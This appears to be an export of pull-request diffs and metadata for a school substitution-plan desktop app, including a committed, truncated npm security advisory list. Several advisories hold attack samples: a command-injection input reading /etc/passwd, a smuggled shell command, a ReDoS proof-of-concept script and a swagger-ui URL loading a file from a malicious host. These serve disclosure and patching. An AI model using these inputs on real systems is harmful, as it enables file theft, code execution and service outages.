+- }else{
+- $("#representations").append('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + representation_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+- }
+- }
++ $("#vertretungen").append('<div class="card card-block" style="height: 10%; background-color: #9C27B0; color: #fff">' + '<div class="row">' + '<div class="col-md-4" style="position: relative; margin: 0;"><p style="font-size: 350%; margin: 0; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">' + lesson + '</p></div>' + '<div class="col-md-8"><h4>' + substitutions_type + '</h4></br><h7>' + text + '</h7></div>' + '</div>' + '</div>')
+ }
+ }
+ }
+@@ -103,11 +118,13 @@ <h1 id="school"></h1></br>
+ }
+ }
+ }
+- }
++ }
+ }else{
+- $("#representations").append('<p class="bg-danger">Scheinbar gehtdein Internet nicht :/</p>')
++ $("#Main").append('<p class="bg-danger">Scheinbar geht dein Internet nicht :/</p>')
+ }
+ })
++
++ $('#Tabs a:last').tab('show')
+ </script>
+ <!-- Include all compiled plugins (below), or include individual files as needed -->
+ <script src="js/bootstrap/bootstrap.min.js"></script>
+diff --git a/app/main.js b/app/main.js
+index 84c4afb..c514a0a 100644
+--- a/app/main.js
++++ b/app/main.js
+@@ -7,9 +7,9 @@ let win
+ function update () {
+ var feedUrl = 'https://ls-desktop.herokuapp.com/update/win32/:' + app.getVersion();
+ autoUpdater.setFeedURL(feedUrl);
+-
++
+ autoUpdater.on('update-downloaded', function (event, releaseNotes, releaseName, releaseDate, updateUrl, quitAndUpdate) {
+-
++
+ var index = dialog.showMessageBox(mainWindow, {
+ type: 'info',
+ buttons: [i18n.__('Restart'), i18n.__('Later')],
+@@ -17,11 +17,11 @@ function update () {
+ message: i18n.__('The new version has been downloaded. Please restart the application to apply the updates.'),
+ detail: releaseName + "\n\n" + releaseNotes
+ });
+-
++
+ if (index === 1) {
+ return;
+ }
+-
++
+ quitAndUpdate();
+ });
+ }
+@@ -69,4 +69,4 @@ app.on('activate', () => {
+ })
+
+ // In this file you can include the rest of your app's specific main process
+-// code. You can also put them in separate files and require them here.
+\ No newline at end of file
++// code. You can also put them in separate files and require them here.
+diff --git a/app/package.json b/app/package.json
+index fa0d33f..ac09df0 100644
+--- a/app/package.json
++++ b/app/package.json
+@@ -1,11 +1,12 @@
+ {
+ "name": "ls_vertretungsplan_desktop",
+- "version": "0.0.2",
++ "version": "0.0.3",
+ "description": "Eine Anwendung die den Vertretungsplan auf dem Desktop anzeigt",
+ "main": "./main.js",
+ "author": "Marcel Radzio <info@nordgedanken.de>",
+ "license": "",
+ "dependencies": {
++ "cached-request": "^1.0.0",
+ "request": "^2.69.0"
+ }
+ }
diff --git a/pulls/4.json b/pulls/4.json
@@ -0,0 +1,18 @@
+{
+ "number": 4,
+ "title": "Update API and .codeclimate.yml",
+ "state": "merged",
+ "diff_file": "4.diff",
+ "author": "MTRNord",
+ "created_at": "2016-09-02T11:41:56Z",
+ "closed_at": "2016-09-02T11:42:19Z",
+ "merged_at": "2016-09-02T11:42:19Z",
+ "base_ref": "master",
+ "head_ref": "develop",
+ "labels": [],
+ "assignees": [],
+ "requested_reviewers": [],
+ "body": "",
+ "comments": [],
+ "review_comments": []
+}
diff --git a/pulls/4.md b/pulls/4.md
@@ -0,0 +1,13 @@
+# PR #4 Update API and .codeclimate.yml
+
+- **Status:** merged
+- **Author:** @MTRNord
+- **Created:** 2016-09-02T11:41:56Z
+- **Branch:** develop → master
+- **Merged:** 2016-09-02T11:42:19Z
+- **Diff:** [4.diff](./4.diff)
+
+---
+
+_No description._
+
diff --git a/pulls/5.diff b/pulls/5.diff
@@ -0,0 +1,21 @@
+diff --git a/.codeclimate.yml b/.codeclimate.yml
+index 0ae2e96..e6d7dae 100644
+--- a/.codeclimate.yml
++++ b/.codeclimate.yml
+@@ -11,6 +11,8 @@ engines:
+ - javascript
+ fixme:
+ enabled: true
++ nodesecurity:
++ enabled: true
+ ratings:
+ paths:
+ - app/**
+diff --git a/advisories.json b/advisories.json
+new file mode 100644
+index 0000000..a71766e
+--- /dev/null
++++ b/advisories.json
+@@ -0,0 +1 @@
++{"total":116,"count":100,"offset":0,"results":[{"id":134,"created_at":"2016-07-27T00:24:38+00:00","updated_at":"2016-08-29T14:27:47+00:00","title":"Timing attack vulnerability","author":"unknown","module_name":"cookie-signature","publish_date":"2016-08-29T14:27:47+00:00","cves":[],"vulnerable_versions":"<=1.0.3","patched_versions":">=1.0.4","slug":"cookie-signature_timing-attack-vulnerability","overview":"Cookie-signature is a library for signing cookies.\n\nVersions before 1.0.4 were vulnerable to timing attacks.","recommendation":"Upgrade to 1.0.6 or latest","references":"https://github.com/tj/node-cookie-signature/commit/39791081692e9e14aa62855369e1c7f80fbfd50e","legacy_slug":null,"allowed_scopes":["public","early","admin"],"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:N/A:N","cvss_score":5.4},{"id":140,"created_at":"2016-08-15T18:16:57+00:00","updated_at":"2016-08-26T17:28:19+00:00","title":"Denial of Service","author":"Matteo Collina","module_name":"mqtt","publish_date":"2016-08-26T17:28:19+00:00","cves":[],"vulnerable_versions":"<=0.3.13","patched_versions":">=1.0.0","slug":"mqttjs_denial-of-service","overview":"Specifically crafted MQTT packets can crash the application, making a DoS attack feasible with very little bandwidth.","recommendation":"Upgrade to v1.0.0 or later","references":"* https://github.com/mqttjs/MQTT.js/blob/388a084d7803934b18b43c1146c817deaa1396b1/lib/parse.js#L230","legacy_slug":null,"allowed_scopes":["public","early","admin"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":139,"created_at":"2016-08-10T15:05:24+00:00","updated_at":"2016-08-26T17:28:01+00:00","title":"XSS","author":"Todd Wolfson","module_name":"pivottable","publish_date":"2016-08-26T17:28:01+00:00","cves":[],"vulnerable_versions":">=1.4.0 <2.0.0","patched_versions":">=2.0.0","slug":"pivottable_xss","overview":"PivotTable.js is a Javascript Pivot Table library with drag'n'drop functionality built on top of jQuery/jQueryUI.\n\nDue to a change from text to html functions in how JSON elements are rendered, a cross site scripting (XSS) vulnerability was introduced in version 1.4.0. This vulnerability remained in place until version 2.0.0.","recommendation":"Upgrade to version 2.0.0 or later.","references":"* https://github.com/nicolaskruchten/pivottable/pull/401","legacy_slug":null,"allowed_scopes":["public","early","admin"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cvss_score":7.2},{"id":138,"created_at":"2016-08-08T19:42:49+00:00","updated_at":"2016-08-26T17:27:49+00:00","title":"XSS via tooltips","author":"Calvin K Cox","module_name":"c3","publish_date":"2016-08-26T17:27:49+00:00","cves":[],"vulnerable_versions":"<=0.4.10","patched_versions":">=0.4.11","slug":"c3_xss-via-tooltips","overview":"c3 is a D3-based reusable chart library that enables deeper integration of charts into web applications.\n\nVersions 0.4.10 and lower of c3 contain a cross site scripting (XSS) vulnerability through improper html sanitization on rendered tooltips.","recommendation":"Upgrade to 0.4.11 or later","references":"* https://github.com/c3js/c3/issues/1536","legacy_slug":null,"allowed_scopes":["public","early","admin"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N","cvss_score":4.7},{"id":137,"created_at":"2016-08-08T14:38:04+00:00","updated_at":"2016-08-15T18:37:50+00:00","title":"XSS in URL Query String Parameter","author":"mehmetaydogdu","module_name":"swagger-ui","publish_date":"2016-08-15T18:37:50+00:00","cves":[],"vulnerable_versions":"2.1.0-M1 || 2.1.0-M2","patched_versions":">=2.1.0","slug":"swagger-ui_xss-in-url-query-string-parameter","overview":"In versions 2.1.0-M1 and 2.1.0-M2, swagger-ui has a cross site scripting (XSS) vulnerability in the `url` query string parameter.","recommendation":"Upgrade to 2.1.0 or later.","references":"* https://github.com/swagger-api/swagger-ui/issues/1262","legacy_slug":null,"allowed_scopes":["public","early","admin"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cvss_score":9.1},{"id":136,"created_at":"2016-08-04T21:19:48+00:00","updated_at":"2016-08-04T21:27:06+00:00","title":"Spoofing attack due to unvalidated KDC","author":"Richard Silverman","module_name":"node-krb5","publish_date":"2016-08-04T21:27:06+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"node-krb5_spoofing-attack-due-to-unvalidated-kdc","overview":"This module does not validate the KDC, which might allow an attacker with network access and enough time to spoof the KDC and impersonate a valid user without knowing their credentials.","recommendation":"Consider using the \"[kerberos](https://www.npmjs.com/package/kerberos)\" npm module, which has this protection in place, or short of that, ensure there are no untrusted users on your network.","references":"* https://github.com/qesuto/node-krb5/issues/13\n* http://archive.hack.lu/2010/Bouillon-Stealing-credentials-for-impersonation.pdf","legacy_slug":null,"allowed_scopes":["public","early","admin"],"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N","cvss_score":5.7},{"id":135,"created_at":"2016-08-01T16:36:58+00:00","updated_at":"2016-08-01T18:02:31+00:00","title":"XSS - Sanitization not applied recursively","author":"Björn Kimminich","module_name":"sanitize-html","publish_date":"2016-08-01T18:02:31+00:00","cves":[],"vulnerable_versions":"<=1.4.2","patched_versions":">=1.4.3","slug":"sanitize-html_xss-sanitization-not-applied-recursively","overview":"Sanitization of HTML strings is not applied recursively to input, allowing an attacker to potentially inject script and other markup.","recommendation":"Upgrade to 1.4.3 or later","references":"* https://github.com/punkave/sanitize-html/issues/29","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N","cvss_score":4.7},{"id":114,"created_at":"2016-05-05T22:29:59+00:00","updated_at":"2016-07-29T22:30:08+00:00","title":"Insecure Defaults Leads to Potential MITM","author":"Adam Baldwin","module_name":"ezseed-transmission","publish_date":"2016-07-29T22:27:11+00:00","cves":[],"vulnerable_versions":">= 0.0.10 <= 0.0.14","patched_versions":">= 0.0.15","slug":"ezseed-transmission_insecure-defaults-leads-to-potential-mitm","overview":"ezseed-transmission is a module that provides shell bindings for Ezseed transmission.\n\nBetween versions 0.0.10 and 0.0.14 (inclusive), ezseed-transmission would download a script from `http://stedolan.github.io/jq/download/linux64/jq` without checking the certificate. An attacker on the same network or on an ISP level could intercept the traffic and push their own version of the file, causing the attackers code to be executed.","recommendation":"Upgrade to at least version 0.0.15","references":null,"legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":4.2},{"id":88,"created_at":"2016-03-22T16:50:45.816+00:00","updated_at":"2016-07-29T19:08:13+00:00","title":"Forgeable Public/Private Tokens","author":"Brian Brennan and Tim McLean","module_name":"jws","publish_date":"2016-07-26T17:21:17+00:00","cves":[],"vulnerable_versions":"<3.0.0","patched_versions":">=3.0.0","slug":"jws_forgeable-publicprivate-tokens","overview":"Since \"algorithm\" isn't enforced in `jws.verify()`, a malicious user could choose what algorithm is sent to the server. If the server is expecting RSA but is sent HMAC-SHA with RSA's public key, the server will think the public key is actually an HMAC private key. This could be used to forge any data an attacker wants.\n\nIn addition, there is the `none` algorithm to be concerned about. In versions prior to 3.0.0, verification of the token could be bypassed when the `alg` field is set to `none`.\n\n*Edit ( 7/29/16 ): A previous version of this advisory incorrectly stated that the vulnerability was patched in version 2.0.0 instead of 3.0.0. The advisory has been updated to reflect this new information. Thanks to Fabien Catteau for reporting the error.*","recommendation":"Update to version 3.0.0 or later.","references":"https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/\nhttps://github.com/brianloveswords/node-jws/commit/585d0e1e97b6747c10cf5b7689ccc5618a89b299#diff-4ac32a78649ca5bdd8e0ba38b7006a1e","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","cvss_score":8.7},{"id":133,"created_at":"2016-07-25T16:43:51+00:00","updated_at":"2016-07-25T17:04:28+00:00","title":"XSS in Pillbox","author":"Keenan Jaenicke","module_name":"fuelux","publish_date":"2016-07-25T17:04:28+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"fuelux_xss-in-pillbox","overview":"FuelUX is a library for extending Twitter Bootstrap with additional lightweight JavaScript controls.\n\nThere exists a cross site scripting (XSS) vulnerability in the Pillbox feature of FuelUX. By supplying a script as a value for a new pillbox, it is possible to cause arbitrary script execution. \n\nThis advisory is being released before a public patched version is available because the issue was reported publicly on Github.","recommendation":"Avoid the Pillbox functionality until a patch is available.","references":"* https://github.com/ExactTarget/fuelux/issues/1841","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":132,"created_at":"2016-07-25T16:15:45+00:00","updated_at":"2016-07-26T15:46:34+00:00","title":"XSS in drag and drop node","author":"https://github.com/Monisha-M","module_name":"jqtree","publish_date":"2016-07-25T16:25:39+00:00","cves":[],"vulnerable_versions":"<=1.3.3","patched_versions":">=1.3.4","slug":"jqtree_xss-in-drag-and-drop-node","overview":"jqTree is a jQuery plugin for displaying and manipulating hierarchical data in a tree format. \n\nVersions 1.3.3 and below contain a cross site scripting vulnerability in the drag and drop functionality for modifying tree data. A node that contains a standard XSS vector will have its payload execute when a user attempts to drag a node to a different position in the hierarchy.","recommendation":"Upgrade to 1.3.4 or later.","references":"* https://github.com/mbraak/jqTree/issues/437","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":131,"created_at":"2016-07-22T21:20:22+00:00","updated_at":"2016-07-25T16:25:23+00:00","title":"XSS via Content-type header","author":"Joe Vennix","module_name":"swagger-ui","publish_date":"2016-07-25T16:25:23+00:00","cves":[],"vulnerable_versions":"2.1.4","patched_versions":">=2.1.5","slug":"swagger-ui_xss-via-content-type-header","overview":"By using a malicious server which returns script as the value of the Content-Type header, it is possible to execute arbitrary code using the demonstration capabilities of Swagger-UI.","recommendation":"Update to 2.1.5 or later.","references":"* https://github.com/swagger-api/swagger-ui/issues/1863","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":129,"created_at":"2016-07-22T17:58:08+00:00","updated_at":"2016-07-25T16:25:00+00:00","title":"XSS in primary functions","author":"Andrea Giammarchi","module_name":"emojione","publish_date":"2016-07-25T16:25:00+00:00","cves":[],"vulnerable_versions":"<=1.3.0","patched_versions":">=1.3.1","slug":"emojione_xss-in-primary-functions","overview":"Emojione is a module built to facilitate translating between emoji and shortcodes.\n\nVersion 1.3.0 and below have four primary functions:\n\n* toShort()\n* shortnameToImage()\n* unicodeToImage()\n* toImage()\n\nAll four do not properly sanitize input and are thus vulnerable to cross site scripting (XSS). If you application passes user supplied input to these functions, it may be vulnerable to this attack.","recommendation":"Upgrade to version 1.3.1 or latest.","references":"* https://github.com/Ranks/emojione/issues/61","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":128,"created_at":"2016-07-22T15:31:08+00:00","updated_at":"2016-07-26T15:39:07+00:00","title":"XSS in client rendered block templates","author":"Jon Merrifield","module_name":"rendr","publish_date":"2016-07-25T16:24:38+00:00","cves":[],"vulnerable_versions":"<=1.1.3","patched_versions":">=1.1.4","slug":"rendr-handlebars_xss-in-client-rendered-block-templates","overview":"Rendr-handlebars is a library that allows the handlebars templating engine to be used with Rendr framework projects. The templating can occur either on the client or the server.\n\nVersions up to 1.1.3 have a cross site scripting (XSS) issue when rendered inside a `_block` during client side rendering. Server side rendering is not affected and is properly escaped.","recommendation":"Upgrade to rendr version 1.1.4","references":"* https://github.com/rendrjs/rendr-handlebars/pull/61\n* https://github.com/rendrjs/rendr/pull/513","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":130,"created_at":"2016-07-22T19:43:01+00:00","updated_at":"2016-07-22T19:49:26+00:00","title":"ReDoS via long string of semicolons","author":"David Kirchner","module_name":"tough-cookie","publish_date":"2016-07-22T19:49:26+00:00","cves":[],"vulnerable_versions":">=0.9.7 <=2.2.2","patched_versions":">=2.3.0","slug":"tough-cookie_redos-via-long-string-of-semicolons","overview":"Tough-cookie is a cookie parsing and management library.\n\nVersions 0.9.7 through 2.2.2 contain a vulnerable regular expression that, under certain conditions involving long strings of semicolons in the \"Set-Cookie\" header, causes the event loop to block for excessive amounts of time.","recommendation":"Upgrade to at least version 2.3.0","references":null,"legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":127,"created_at":"2016-07-21T20:53:40+00:00","updated_at":"2016-08-30T14:26:19+00:00","title":"XSS in dialog closeText","author":"Phat Ly","module_name":"jquery-ui","publish_date":"2016-07-21T22:21:41+00:00","cves":["CVE-2016-7103"],"vulnerable_versions":"<=1.11.4","patched_versions":">=1.12.0","slug":"jquery-ui_xss-in-dialog-closetext","overview":"jQuery-UI is a library for manipulating UI elements via jQuery.\n\nVersion 1.11.4 has a cross site scripting (XSS) vulnerability in the `closeText` parameter of the `dialog` function. If your application passes user input to this parameter, it may be vulnerable to XSS via this attack vector.","recommendation":"Upgrade to jQuery-UI 1.12.0 or later.","references":"* https://github.com/jquery/jquery-ui/pull/1622","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":126,"created_at":"2016-07-21T17:01:35+00:00","updated_at":"2016-07-21T20:38:25+00:00","title":"XSS in key names","author":"Joe Vennix","module_name":"swagger-ui","publish_date":"2016-07-21T20:38:25+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"swagger-ui_xss-in-key-names","overview":"Swagger is a standardized library for documenting API endpoints and their parameters. Swagger uses a JSON document to organize API endpoint parameter data.\n\nSwagger-ui contains a cross site scripting (XSS) vulnerability in the key names for the following object path in the JSON document:\n```\n .definitions.<USER_DEFINED>.properties.<INJECTABLE_KEY_NAME>\n```\nSupplying a key name with script tags causes arbitrary code execution. In addition it is possible to load the arbitrary JSON files remotely via the `URL` query-string parameter.\n\nThis advisory is being disclosed before a public patched release is available because of a public Github issue documenting the vulnerability.","recommendation":"Our primary recommendation is to host swagger documentation on a separate domain distinct from the application domain. Also, we recommend implementing a content security policy (CSP) that restricts the domains from which JSON files can be requested in order to avoid loading malicious JSON docs via the `URL` query string parameter.","references":"* https://github.com/swagger-api/swagger-ui/issues/1865\n* https://en.wikipedia.org/wiki/Content_Security_Policy","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cvss_score":9.1},{"id":125,"created_at":"2016-07-21T14:30:51+00:00","updated_at":"2016-07-21T14:59:33+00:00","title":"DOM-based XSS","author":"Gursev Singh Kalra","module_name":"gmail-js","publish_date":"2016-07-21T14:59:33+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"gmailjs_dom-based-xss","overview":"gmail-js is a client side library for interacting with the Gmail API.\n\nThree functions exposed by the Gmail.js API (not the Google Gmail API) are vulnerable to [DOM-based cross site scripting](https://www.owasp.org/index.php/DOM_Based_XSS) (DOMXSS). The three functions are `tools.parse_response`, `helper.get.visible_emails_post`, and `helper.get.email_data_post`. Each one of these functions calls `new Function()` with user data passed as the argument.\n\nThis vulnerability is being disclosed before a public patched version is available because the issue was reported in a public Github issue.","recommendation":"Since there is no public patch yet available, it may be best to avoid using these functions altogether for the time being.","references":"- https://github.com/KartikTalwar/gmail.js/issues/281\n- https://www.owasp.org/index.php/DOM_Based_XSS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","cvss_score":8.1},{"id":124,"created_at":"2016-07-20T21:09:07+00:00","updated_at":"2016-07-21T19:36:10+00:00","title":"XSS in itemTitle parameter","author":"Alex Wong","module_name":"bootstrap-tagsinput","publish_date":"2016-07-20T21:20:51+00:00","cves":[],"vulnerable_versions":"<=0.8.0","patched_versions":"<0.0.0","slug":"bootstrap-tagsinput_xss-in-itemtitle-parameter","overview":"Bootstrap Tags Input is a jQuery plugin providing a Twitter Bootstrap user interface for managing tags. \n\nVersion 0.8.0 contains a cross site scripting vulnerability (XSS) via the `itemTitle` parameter. By supplying a malicious value for this parameter, it is possible to execute arbitrary code.\n\nThis vulnerability is being disclosed before a public patched release is available because of an existing Github issue which is already public.","recommendation":"Avoid using the `itemTitle` parameter until a patch is available","references":"* https://github.com/bootstrap-tagsinput/bootstrap-tagsinput/issues/501","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","cvss_score":7.3},{"id":123,"created_at":"2016-07-20T17:45:26+00:00","updated_at":"2016-07-21T20:17:41+00:00","title":"XSS in Consumes/Produces Parameter","author":"Joe Vennix","module_name":"swagger-ui","publish_date":"2016-07-20T19:01:30+00:00","cves":[],"vulnerable_versions":"2.1.4","patched_versions":">=2.1.5","slug":"swagger-ui_xss-in-consumesproduces-parameter","overview":"Swagger is a standardized library for documenting API endpoints and their parameters. Swagger uses a JSON document to organize API endpoint parameter data.\n\nSwagger-UI version 2.1.4 contains a cross site scripting (XSS) vulnerability in the `consumes` and `produces` parameters of the swagger json document for a given API. A maliciously crafted swagger JSON doc can be loaded via the URL query-string parameter `url`.\n\n To exploit the vulnerability, an attacker would convince a user to visit a malicious url crafted in the following format:\n ```\nhttp://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json\n````\n\nThis issue is being disclosed before a public patched release is available due to the issue being made public in a Github issue.","recommendation":"Update to version 2.1.5 or greater.","references":"* https://github.com/swagger-api/swagger-ui/issues/1866\n* https://github.com/swagger-api/swagger-ui/pull/1867","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cvss_score":9.1},{"id":122,"created_at":"2016-07-18T18:47:35+00:00","updated_at":"2016-07-20T21:18:35+00:00","title":"SQL Injection via GeoJSON","author":"Eric Schoffstall","module_name":"sequelize","publish_date":"2016-07-18T20:40:51+00:00","cves":[],"vulnerable_versions":"<3.23.6","patched_versions":">=3.23.6","slug":"sequelize_sql-injection-via-geojson","overview":"SequelizeJS 3.23.4 is vulnerable to SQL injection via GeoJSON documents containing a value with a single quote. This vulnerability affects postresql/postgis as well as MySQL. This vulnerability only exists within GeoJSON documents using the function `ST_GeomFromGeoJSON` for postgresql/postgis and the function `GeomFromText` for mysql. SequelizeJS's `geometry` datatype is vulnerable. If you have SequelizeJS models with a field that has a datatype of 'Geometry' and run a mysql or postgresql/postgis backend, your application is vulnerable\n\nSequelizeJS is a popular ORM (Object Relational Mapper) for node. \n\nGeoJSON is a format for encoding a variety of geographic data structures.","recommendation":"Update to the most recent version of Sequelize.","references":"* https://github.com/sequelize/sequelize/issues/6194\n* http://geojson.org/\n* http://docs.sequelizejs.com/en/latest/api/datatypes/#geometry","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_score":9.8},{"id":121,"created_at":"2016-07-05T15:50:49+00:00","updated_at":"2016-07-05T18:54:54+00:00","title":"Invalid input to route validation rules","author":"Nicolas Morel","module_name":"call","publish_date":"2016-07-05T18:05:37+00:00","cves":[],"vulnerable_versions":">= 2.0.1 <3.0.2","patched_versions":">=3.0.2","slug":"hapi_invalid-input-to-route-validation-rules","overview":"call is an HTTP router that is primarily used by the hapi framework.\n\nThere exists a bug in call versions 2.0.1-3.0.1 that does not validate empty parameters, which could result in invalid input bypassing the route validation rules. For example, in the routing scheme `/api/{param}/{param2}/details`, a request made to `/api///` would match incorrectly.","recommendation":"Upgrade to call 3.0.2. hapi users should upgrade to 13.4.2.","references":"https://github.com/hapijs/hapi/issues/3228","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","cvss_score":5.3},{"id":120,"created_at":"2016-06-24T00:34:25+00:00","updated_at":"2016-06-24T23:04:12+00:00","title":"DoS due to excessively large websocket message","author":"Fedor Indutny","module_name":"ws","publish_date":"2016-06-24T17:13:33+00:00","cves":[],"vulnerable_versions":"<=1.1.0","patched_versions":">=1.1.1","slug":"socketio_dos-due-to-excessively-large-websocket-message","overview":"ws is a \"simple to use, blazing fast and thoroughly tested websocket client, server and console for node.js, up-to-date against RFC-6455\"\n\nBy sending an overly long websocket payload to a `ws` server, it is possible to crash the node process.","recommendation":"Update to version 1.1.1 of ws, or if that is not possible, set the `maxpayload` option for the `ws` server - make sure the value is less than 256MB.","references":"https://github.com/nodejs/node/issues/7388","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":117,"created_at":"2016-05-16T17:57:33+00:00","updated_at":"2016-06-21T20:07:54+00:00","title":"Potential Command Injection","author":"Koki Takahashi, Node Security Team","module_name":"shell-quote","publish_date":"2016-06-21T17:40:40+00:00","cves":[],"vulnerable_versions":"<=1.6.0","patched_versions":">=1.6.1","slug":"shell-quote_command-injection","overview":"The npm module \"shell-quote\" cannot correctly escape \">\" and \"<\" operator used for redirection in shell. I'm wondering if this might be possible vulnerability for many application which depends on shell-quote.\n\nFor example:\n\n const quote = require('shell-quote').quote;\n console.log(quote(['foo>bar']));\n\nwill print \"foo>bar\", where \"foo\\>bar\" is desirable.\n\nThis module is downloaded more than 1M times per month and many other modules are depending on this. If an application is escaping command-line args with this module, they might be vulnerable from malicious user input.\n\nFor example:\n```\nvar sq = require('../tests/get/shell-quote-1.6.0');\nvar exec = require('child_process').exec;\n\nvar pattern = process.argv[2];\n\ncommand = sq.quote(['grep', pattern]));\nexec('cat file | ' + command, function ( err, stdout, stderr) {\n console.log(command, stdout); \n});\n```\nwill be vulnerable when user input something like pattern = ':</etc/passwd', which causes the content of /etc/passwd to be leaked.\n\nInternally, (Jon Lamendola, Nick Starke, Jacob Waddell) found that the `;`, `{`, and `}` characters weren't escaped properly either. This allows for full command injection. A malicious user could input `'a;{echo,test,123,234}'` to execute echo fully.","recommendation":"Upgrade to at least version 1.6.1","references":null,"legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_score":8.4},{"id":118,"created_at":"2016-05-25T16:37:20+00:00","updated_at":"2016-08-09T14:16:01+00:00","title":"Regular Expression Denial of Service","author":"Nick Starke","module_name":"minimatch","publish_date":"2016-06-20T15:52:52+00:00","cves":[],"vulnerable_versions":"<=3.0.1","patched_versions":">=3.0.2","slug":"minimatch_regular-expression-denial-of-service","overview":"Minimatch is a minimal matching utility that works by converting glob expressions into JavaScript `RegExp` objects. The primary function, `minimatch(path, pattern)` is vulnerable to ReDoS in the `pattern` parameter. This is because of the regular expression on line 521 of minimatch.js: `/((?:\\\\{2})*)(\\\\?)\\|/g,`. The problematic portion of the regex is `((?:\\\\{2})*)` which matches against `\\\\`.\n\nA proof of concept is as follows:\n```\nvar minimatch = require(“minimatch”);\n\n// utility function for generating long strings\nvar genstr = function (len, chr) {\n var result = “”;\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n return result;\n}\n\nvar exploit = “[!” + genstr(1000000, “\\\\”) + “A”;\n\n// minimatch exploit.\nconsole.log(“starting minimatch”);\nminimatch(“foo”, exploit);\nconsole.log(“finishing minimatch”);\n```","recommendation":"Updated to version 3.0.2 or greater","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":106,"created_at":"2016-05-04T16:34:12+00:00","updated_at":"2016-06-16T20:37:24+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"negotiator","publish_date":"2016-06-16T17:36:06+00:00","cves":[],"vulnerable_versions":"<= 0.6.0","patched_versions":">= 0.6.1","slug":"negotiator_regular-expression-denial-of-service","overview":"negotiator is an HTTP content negotiator for Node.js and is used by many modules and frameworks including Express and Koa.\n\nThe header for \"Accept-Language\", when parsed by negotiator is vulnerable to Regular Expression Denial of Service via a specially crafted string. 